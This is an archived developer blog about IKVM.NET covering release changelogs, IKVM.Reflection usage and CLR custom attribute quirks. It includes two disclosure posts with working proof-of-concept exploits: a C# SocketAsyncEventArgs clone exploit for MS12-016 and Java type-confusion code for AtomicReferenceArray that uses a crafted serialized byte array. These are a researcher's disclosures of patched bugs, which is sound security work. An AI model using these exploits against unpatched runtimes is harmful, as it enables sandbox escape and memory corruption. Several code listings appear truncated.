# Friday, March 16, 2012
IKVM.Reflection: Inspecting an Assembly Without Loading Dependencies

One of the advantages of IKVM.Reflection over System.Reflection is that it is much easier to load an assembly without having to load its dependencies. This functionality is used by Mono's C# compiler to load referenced assemblies without having to (potentially) load the transitive closure of dependencies of those assemblies.

Here's a simple example that loads an assembly and prints its types and members:

using System;
using IKVM.Reflection;

class Program {
  const BindingFlags AllDeclared =
    BindingFlags.Public |
    BindingFlags.NonPublic |
    BindingFlags.Instance |
    BindingFlags.Static |

  static void Main(string[] args) {
    var universe = new Universe();
    universe.AssemblyResolve += AssemblyResolve;
    var assembly = universe.LoadFile(args[0]);
    foreach (var type in assembly.GetTypes()) {

  static void WriteMembers(MemberInfo[] members) {
    foreach (var member in members)
      Console.WriteLine(" {0}", member);

  static Assembly AssemblyResolve(object sender, IKVM.Reflection.ResolveEventArgs args) {
    return ((Universe)sender).CreateMissingAssembly(args.Name);

When you don't handle the Universe.AssemblyResolve event (or non of the handlers return an assembly), IKVM.Reflection will fall back to using System.Reflection.Assembly.ReflectionOnlyLoad() and then use the Location property of the returned assembly and load the assembly from there.

If you do handle the Universe.AssemblyResolve event, you can either find the assembly somewhere and load it, or use Universe.CreateMissingAssembly() to create a placeholder Assembly that will automatically resolve all types and members that it is expected to contain (based on references from loaded assemblies that are inspected).

When you're reflecting over the members you can encounter types and members from the missing assemblies and you should be prepared to handle these because many operations are not allowed on them (since there is no type or member definition, a lot of information simply isn't available). You can detect these missing types or members by looking at the MemberInfo.__IsMissing property.

Friday, March 16, 2012 1:26:07 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]
# Thursday, March 15, 2012
Lesser Known CLR Custom Attributes -- UnsafeValueType

In a comment to the previous post about CLR Custom Attributes I listed some other custom attributes that the CLR recognizes (by name). Some of them I previously thought were compiler only custom attributes, so I decided to investigate them.


The documentation for this attribute, somewhat uncharacteristically, actually explains what it does, but I decided to try it out.

Here's an example that demonstrates what it does:

using System;
using System.Runtime.CompilerServices;

struct Foo {
  public int field;

class Program {
  static void Main() {
    int i = 1234;
    Foo foo = new Foo();
    Corrupt(ref foo, ref i);

  unsafe static void Corrupt(ref Foo foo, ref int unused) {
    fixed (int* p = &foo.field) {
      *(long*)p = 4567L << 32;

When you run this it prints out 4567 and terminates successfully. However, when you uncomment the //[UnsafeValueType] line and then run it again, you'll see that it prints out 1234 and crashes and if you attach a debugger you see that it crashes with error code STATUS_STACK_BUFFER_OVERRUN because the CLR inserted a canary on the stack after the unsafe value type.

As the documentation indicates, both the C++ and C# compiler use this attribute. The C++ compiler uses it to implement /GS for managed code and the C# compiler automatically applies it to the value types that it creates to represent fixed size buffers.

Thursday, March 15, 2012 9:42:27 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Monday, March 12, 2012
New Development Snapshot

It's been a while since I released a development snapshot. Volker fixed several AWT issues and I've been doing mostly IKVM.Reflection work.


  • Prevent IKVMC0109 warning when a stub is encountered after the corresponding type has already been loaded.
  • Bug fix. The $Method inner class for delegates should also be loadable for generic delegates. Thanks to Michael Bayne for reporting this.
  • Add dummy splashscreen native library to VFS. Fix for #3480917.
  • Fix a bug with a ToolkitImage as frame icon.
  • Fix the native file dialog, it was created in the wrong thread and the method blockWindows(List) was not implemented
  • Synchronized the BufferedImage bitmap to fix "System.InvalidOperationException: The object is currently in use elsewhere." if the BufferedImage is used from multiple threads (as is valid in Java).
  • Workaround a problem in sun.util.locale.LocaleObjectCache that assumes that a SoftReference is always immediately enqueued when get() returns null. Now we actively enqueue the reference in get() when the reference was cleared by the GC (instead of waiting for the QueueWatcher to eventually enqueue the reference from the finalizer).
  • Merged security changes to AtomicReferenceArray.
  • Intrinsified the unsafe.objectFieldOffset(XXX.class.getDeclaredField("xxx")) pattern to avoid expensive reflection field lookup in static initializers of common OpenJDK classes.
  • Override Toolkit.areExtraMouseButtonsEnabled() to avoid infinite recursion.
  • Fix a deadlock for TooltipImages which complete with a ImageObserver.FRAMEBITS instead with ImageObserver.ALLBITS. The problem occur with JDownloader.
  • Replace all RasterOp with the versions from GNU Classpath because the original use native code that was not ported and didn't work.
  • Fixed a NullReferenceException in ConvertRegion.
  • Added support for window with transparent background.
  • Added support for undecorated Frame and Dialog.
  • Fixed IPv6 address bug. When the scope ID is zero we should pass -1 to the Inet6Address constructor (this will cause its scope_id to remain 0 and scope_id_set to remain false).
  • Added Unsafe methods used by Akka.
  • Avoid linking class constant pool entries that aren't used (or are only used by name). This avoids spurious IKVMC0100 warnings and unnecessary class load attempts.
  • IKVM.Reflection: Performance tweak to AssemblyName.FullName. Inspired by Marek Safar.
  • IKVM.Reflection: TypeNameParser.Escape() performance tweak by Marek Safar.
  • IKVM.Reflection: Added UniverseOptions.DisableFusion to explicitly disable Fusion (without having to resort to setting the IKVM_DISABLE_FUSION environment variable).
  • IKVM.Reflection: Optimized assembly lookup. Thanks to Marek Safar for the pointer.
  • IKVM.Reflection: Cache the assembly FullName in Assembly. This brings the Assembly.FullName property performance more inline with System.Reflection which also caches the FullName (computing the FullName is expensive).
  • IKVM.Reflection: Use binary search for sorted metadata table lookups.
  • IKVM.Reflection: Added new API MethodInfo.__GetMethodImpls() to efficiently get the MethodImpls for a specific method.
  • IKVM.Reflection: Bug fix. TypeDefImpl.__GetMethodImplMap() should populate typeArgs before using it.
  • IKVM.Reflection: Added RawModule.ModuleVersionId property.
  • IKVM.Reflection: Support building an "mscorlib" assembly that is not named mscorlib.
  • IKVM.Reflection: Added Type.__CreateMissingProperty() API to enable symbolic properties in custom attributes.
  • IKVM.Reflection: Added Universe.MissingTypeIsValueType event to enable missing types (i.e. symbolic types) to be used in signatures.

Binaries available here: ikvmbin-7.1.4454.zip

Monday, March 12, 2012 10:50:41 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Thursday, March 8, 2012
CLR Supported Custom Attributes

After working with the CLR for more than a decade, once in a while I still run into surprising behavior.

It turns out that the (non pseudo-) custom attributes that CLR recognizes are only matched by name, not assembly.

So you can do this for example:

using System;
using System.Threading;

namespace System {
  class ThreadStaticAttribute : global::System.Attribute { }

class Program {
  static int foo;

  public static void Main() {
    foo = 42;
    new Thread(WriteFoo).Start();

  static void WriteFoo() {

On the CLR the foo static variable is a thread local, but on Mono it isn't.

Thursday, March 8, 2012 2:35:51 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]
# Sunday, March 4, 2012

I'm looking forward to speaking at Lang.NEXT. To be held at the Microsoft Campus on April 2 - 4.

If you're in the neighborhood and are interested in programming language design and implementation, this is your opportunity to find out if there really is such a thing as a free lunch.

Sunday, March 4, 2012 11:15:02 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Monday, February 27, 2012
MS12-016 Vulnerability Details

Unlike most bugs that I run into, this one I actively went looking for. After being reminded of the cloning attack (in the context of Java) I wrote some reflection code to scan the BCL for public types that are cloneable (i.e. subclassable) and contain unmanaged pointer fields. This is a bad combination. A class that showed up as potentially vulnerable was SocketAsyncEventArgs and a few minutes with ildasm confirmed it.

I had at that time fairly recently written about another Socket vulnerability (that was fixed in MS11-039), but that was a complete coincidence. As I said this bug was found via (trivial) static analysis.

Here's an example exploit (not very reliable):

using System;
using System.Net;
using System.Net.Sockets;

class MySocketAsyncEventArgs : System.Net.Sockets.SocketAsyncEventArgs
  public MySocketAsyncEventArgs Clone()
    return (MySocketAsyncEventArgs)MemberwiseClone();

class Program
  static void Main()

    byte[] buf1 = new byte[1024];
    object[] dummy = new object[1024];
    for (int i = 0; i < dummy.Length; i++)
      dummy[i] = new byte[1024];
    byte[] buf2 = new byte[1];
    MySocketAsyncEventArgs args = new MySocketAsyncEventArgs();
    args.SetBuffer(buf1, 0, buf1.Length);
    MySocketAsyncEventArgs copy = args.Clone();
    buf1 = null;


    Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    server.Bind(new IPEndPoint(IPAddress.Loopback, 0));
    Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    Socket conn = server.Accept();

    byte[] buf = new byte[1024];
    for (int i = 0; i < buf.Length; i++)
      buf[i] = 0xFF;

    // now we have a magic array that allows us arbitrary memory access
    Console.WriteLine(buf2[1000000000]); // AccessViolation

Monday, February 27, 2012 8:58:32 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Thursday, February 23, 2012
February 2012 Java Critical Patch Update Vulnerability Details

Last week, Oracle released the February 2012 Oracle Java SE Critical Patch Update. This included fixes for two related problems I reported to them on August 1, 2011. The first problem is also what inspired the post about disabling the security manager.

This is another one of those security vulnerabilities that I stumbled into without looking for it. When I was integrating OpenJDK 7, I merged some minor changes into AtomicReferenceArray and after that a couple of JSR-166 TCK tests failed. After a little investigation I found that the problematic code was:

public AtomicReferenceArray(E[] array) {
    // Visibility guaranteed by final field guarantees
    this.array = array.clone();

One of the tests constructs the AtomicReferenceArray by passing in an java.lang.Integer array and a subsequent store in the array would fail on IKVM.NET, because the IKVM.NET implementation of AtomicReferenceArray.set() uses the ldelema instruction to get the address of the array element so it can subsequently do a volatile store to that location. When you use the ldelema instruction the CLR will do a type check to make sure the array can safely hold values of that type and this type check failed, because the code assumed that the array is always an object array, but in this case it was a java.lang.Integer array.

At first I simply fixed this by changing the constructor back to what it previously did (always allocate a new Object array), but after some reflection I realized that this might be a security issue.

To see why this could be a security issue, you need to know that HotSpot (Server) is capable of doing some pretty amazing optimizations. What I conjectured was that HotSpot might be able to inline the constructor and subsequent get operation and then optimize away a cast operation that follows the get operation. Here's an example:

AtomicReferenceArray ara = new AtomicReferenceArray(new Integer[1]);
Integer value = (Integer)ara.get(0);

HotSpot Server is able to deduce is this case that the (Integer) cast is redundant. However, what it fails to take into account is that AtomicReferenceArray uses sun.misc.Unsafe to directly access the array and this means that even though the array here is of type Integer, the AtomicReferenceArray.set() method allows you to store any reference in the array. So a slightly modified version will violate type safety:

AtomicReferenceArray ara = new AtomicReferenceArray(new Integer[1]);
ara.set(0, "foo");
Integer value = (Integer)ara.get(0);

Now value contains a string while being typed as Integer.

Here's a full working example (it's little bit more convoluted, because you need to coax HotSpot into fully optimizing the code):

import java.util.concurrent.atomic.*;

public class vuln
  int field1;
  static volatile Object obj = new vuln();
  static volatile boolean done;

  public static void main(String[] args) throws Exception
    new Thread() {
      public void run() {
        try { Thread.sleep(3000); } catch (Exception _) { }
        obj = "foo";
        try { Thread.sleep(30); } catch (Exception _) { }
        done = true;
    for (;;) {

  static void doIt()
    AtomicReferenceArray r = new AtomicReferenceArray(new vuln[1]);
    r.set(0, obj);

  static void frob(vuln v) {
    if (done) {
      v.field1 += 8;

This vulnerability was interesting to me because it required some pretty advanced HotSpot optimizations, but this also made it less of a real-world issue, because I was unable to get HotSpot Client VM to do these optimizations, so a browser running Java was not likely to be vulnerable. However, while I was preparing to report this to Oracle it occurred to me that there was a much bigger security vulnerability that had been lingering in AtomicReferenceArray since it was first introduced in Java 5. By manually constructing a serialized object graph you can stick any array you want into an AtomicReferenceArray instance and then use the AtomicReferenceArray.set() method to write an arbitrary reference to violate type safety.

Here's an example of that:

import java.io.*;
import java.util.concurrent.atomic.*;

class Union1 { }
class Union2 { }

public class test
  static byte[] buf = new byte[] {
    -84, -19, 0, 5, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103,
    46, 79, 98, 106, 101, 99, 116, 59, -112, -50, 88, -97, 16, 115, 41, 108, 2, 0,
    0, 120, 112, 0, 0, 0, 2, 117, 114, 0, 9, 91, 76, 85, 110, 105, 111, 110, 49, 59,
    -2, 44, -108, 17, -120, -74, -27, -1, 2, 0, 0, 120, 112, 0, 0, 0, 1, 112, 115,
    114, 0, 48, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 99, 117,
    114, 114, 101, 110, 116, 46, 97, 116, 111, 109, 105, 99, 46, 65, 116, 111, 109,
    105, 99, 82, 101, 102, 101, 114, 101, 110, 99, 101, 65, 114, 114, 97, 121, -87,
    -46, -34, -95, -66, 101, 96, 12, 2, 0, 1, 91, 0, 5, 97, 114, 114, 97, 121, 116,
    0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101,
    99, 116, 59, 120, 112, 113, 0, 126, 0, 3

  public static void main(String[] args) throws Throwable
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buf));
    Object[] arr = (Object[])ois.readObject();
    Union1[] u1 = (Union1[])arr[0];
    AtomicReferenceArray ara = (AtomicReferenceArray)arr[1];
    ara.set(0, new Union2());
Thursday, February 23, 2012 1:45:55 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]
# Tuesday, January 24, 2012
New Development Snapshot

Time for a new snapshot. Not too many changes, but the IKVM.Reflection API changes should suggest what I've been working on.


  • Updated version to 7.1.4406.0.
  • Handle Main-Class manifest value that spans multiple lines. Fix for bug #3461012.
  • When constructing a generic class loader we can't use GetWrapperFromType() on the type arguments, because they might refer to a subtype that is currently being loaded.
  • Made base TypeWrapper resolution lazy for compiled and .NET TypeWrappers.
  • Use modopt custom modifiers for methods instead of name mangling and NameSigAttribute.
  • Added version info resource to JVM.DLL. Modified version of patch #3472413.
  • Added version info resource to ikvm-native-win32-{arch}.dll. Modified version of patch #3472413.
  • Added support for delegates with ByRef parameters.
  • When a dynamic only interface method ends up being "implemented" by a static or non-public method, it should throw the appropriate exception.
  • When instantiating a delegate and the object passed in does not properly implement the delegate's Method interface, bind the delegate to an error stub that throws the appropriate error.
  • The right remap filename should be put in the SourceFileAttribute, instead of the last one.
  • Stack trace elements in methods in remapped .NET types should not list the source filename as map.xml.
  • IKVM.Reflection: FieldInfo.IsAssembly should test for FieldAttributes.Assembly access, not FieldAttributes.Family.
  • IKVM.Reflection: Added Module.__FileAlignment property.
  • IKVM.Reflection: Added ManifestResourceInfo.__Offset property.
  • IKVM.Reflection: Avoid the need for (expensive) ResolveMethod call when emitting debug symbols. Thanks to Miguel Garcia for pointing this out.
  • IKVM.Reflection: Add AssemblyName.__Hash property (to expose the hash in an AssemblyRef).
  • IKVM.Reflection: Added Module.__EntryPointRVA and Module.__EntryPointToken properties.
  • IKVM.Reflection: Added MethodBase.__MethodRVA property.
  • IKVM.Reflection: Fixed regression introduced with AssemblyName rewrite. The AssemblyName returned from __GetReferencedAssemblies() should include an empty public key token if the referenced assembly is not strong named.
  • IKVM.Reflection: API change. Allow Type.MetadataToken to be called on missing type (it will return 0 or the token hint when the type was forwarded).
  • IKVM.Reflection: Added Universe.ResolveType() API that can be used to construct missing types.
  • IKVM.Reflection: Fixed various Module.Resolve* methods to throw proper exception when wrong metadata token is supplied.
  • IKVM.Reflection: Fixed type parameter binding for missing types.
  • IKVM.Reflection: Added Module.__EnumerateCustomAttributeTable() API.
  • IKVM.Reflection: Removed Module.__GetDeclarativeSecurityFor() API.
  • IKVM.Reflection: Added CustomAttributeData.__Parent API.
  • IKVM.Reflection: Added Module.__ImageRuntimeVersion API.

Binaries available here: ikvmbin-7.1.4406.zip

Tuesday, January 24, 2012 1:48:53 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]
# Tuesday, January 3, 2012
IKVM.NET 7.0 Update 1 Release Candidate 0

A couple of annoying bugs have been reported since 7.0 was released, so I decided to do an update.


  • Changed version to 7.0.4335.1.
  • FileStore for non-accessible drive should throw exception when trying to create the FileStore, not when accessing the name() or type() properties.
  • Graphics2D.clip(null) should only throw NPE for a Component graphics.
  • Don't crash when ikvmc -resource: or -externalresource: option doesn't contain an = sign.
  • Handle Main-Class manifest value that spans multiple lines. Fix for bug #3461012.
  • Informational messages should not be treated as error when -warnaserror is specified. Fix for #3443377.
  • Don't enforce pre-1.5 class name rules in ikvmc (since HotSpot doesn't enforce any naming rules for classes loaded by the system (and boot) class loader, by default). Fix for #3443373.
  • Fix for #3441959.
  • Throwable.addSuppressed() didn't have a proper parameter name.
  • Mark getSpace0 with SecuritySafeCritical to avoid getting an exception with .NET 4
  • Bug fix. Removed incorrect check for uninitialized objects on backward branch.
  • Don't crash when ikvmc -resource: or -externalresource: option doesn't contain an = sign.
  • Added AssemblyInformationalVersionAttribute to OpenJDK assemblies (to set the "Product Version"). Part of patch #3458997.
  • Include copyright and metadata in IKVM.OpenJDK.Tools.dll. Part of patch #3458997.
  • Bug fix. Don't call Finish on unloadable TypeWrapper.
  • Bug fix. When constructing a generic class loader we can't use GetWrapperFromType() on the type arguments, because they might refer to a subtype that is currently being loaded.
  • Fix. When decoding a NameSigAttribute it is possible that a type does not exist (i.e. is an unloadable) and that results in a warning emitted against the referenced assemblies class loader.
  • Suppress annotation custom attributes when enumerating inner classes.
  • IKVM.Reflection: Bug fix. FieldInfo.IsAssembly should test for FieldAttributes.Assembly access, not FieldAttributes.Family.

Binaries available here: ikvmbin-7.0.4335.1.zip

Sources: ikvmsrc-7.0.4335.1.zip, openjdk7-b147-stripped.zip

Tuesday, January 3, 2012 1:24:44 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Wednesday, December 21, 2011
IKVM.NET 0.46 Update 1 Release Candidate 0

IKVM.NET 0.46 is the last OpenJDK 6 based release, so it will be supported longer than usual. I haven't yet decided how long exactly, but in any case here is a release candidate for an update release that incorporates many of the fixes that have been done since 0.46 was released.


  • Changed version to
  • Bug fix. TypeWrapper.IsAssignableTo() didn't handle arrays with primitive elements properly.
  • Bug fix. Exception blocks inside potential try { } finally { } blocks were not handled correctly. Could result in finally blocks that run multiple times (when an exception occurs).
  • Fix for #3404229.
  • Bug fix. Don't create a miranda method if the class already has a static method with the same signature.
  • Added workaround for another x64 JIT bug. See https://sourceforge.net/mailarchive/message.php?msg_id=28250469
  • Newer versions of ICSharpCode.SharpZipLib.dll require the ZipEntry size to be set explicitly, otherwise the generated archive will not be compatible with older zip implementations (like Java 6's java.util.zip).
  • Fixed serialization interop bugs.
  • Bug fix. When an abstract .NET type implements System.IComparable (and hence java.lang.Comparable) the resulting stub is not usable from Java because the compareTo method is missing. This fix adds the missing method.
  • Fix and enhancement. When a .NET type implements a shadowed interface, we now also publish the original interface (e.g. if the .NET type implements System.IComparable, Java code will now see java.lang.Comparable and System.IComparable). In addition, the new code makes sure that when a .NET type explicitly implements both System.IComparable and java.lang.Comparable that the Java code will not see java.lang.Comparable twice.
  • Bug fix. Make FileOutputStream in append mode always append.
  • Add support for overriding constructor body in map.xml.
  • Make sure that Thread.getContextClassLoader() and Thread.setContextClassLoader() are JITed before Thread.isCCLOverridden().
  • Workaround .NET 2.0 bug in GetType() that could cause problems with creating proxies for compiled types.
  • Bug fix. Exceptions declared with ThrowsAttribute(Type) (in .NET code) did not get exported properly by ikvmstub.
  • Fix ClassLoader.findLoadedClass0() to handle null string.
  • Implemented support for annotation defaults in ikvmstub.
  • Bug fix. Final instance fields that have a type 2 access property should also have a (private) setter for reflection and serialization.
  • Bug fix. Set os.name and os.version properties correctly when running on unknown Windows version (Windows 8).
  • Bug fix. IPInterfaceProperties.GetIPv_Properties() can throw an exception (and does so on Win 8 for some interfaces).
  • Don't open the remap file in read/write mode.
  • Bug fix. Make sure sun.misc.Launcher is initialized before setting a security manager, because Launcher assumes there is no security manager yet.
  • Implemented com.sun.security.auth.module.NTSystem.getCurrent().
  • Bug fix. When calling a final method on a remapped type we can't call the instance method in the remapped type, but we have to call the instancehelper instead.
  • Fix. When decoding a NameSigAttribute it is possible that a type does not exist (i.e. is an unloadable) and that results in a warning emitted against the referenced assemblies class loader.
  • Bug fix. Removed incorrect verifier check for uninitialized objects on backward branch.
  • Handle Main-Class manifest value that spans multiple lines. Fix for bug #3461012.
  • Retain reflection field ordering for ikvmc compiled code (not required by spec, but to improve compatibility with broken code).
  • Don't use "slow path" for field reflection on remapped types (as getting a Throwable field from cli.System.Exception will cause an exception, but the slow path will generate a different exception).
  • Backported the new method override resolution code.

Binaries available here: ikvmbin-

Sources: ikvmsrc-, openjdk6-b22-stripped.zip

Wednesday, December 21, 2011 9:54:46 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]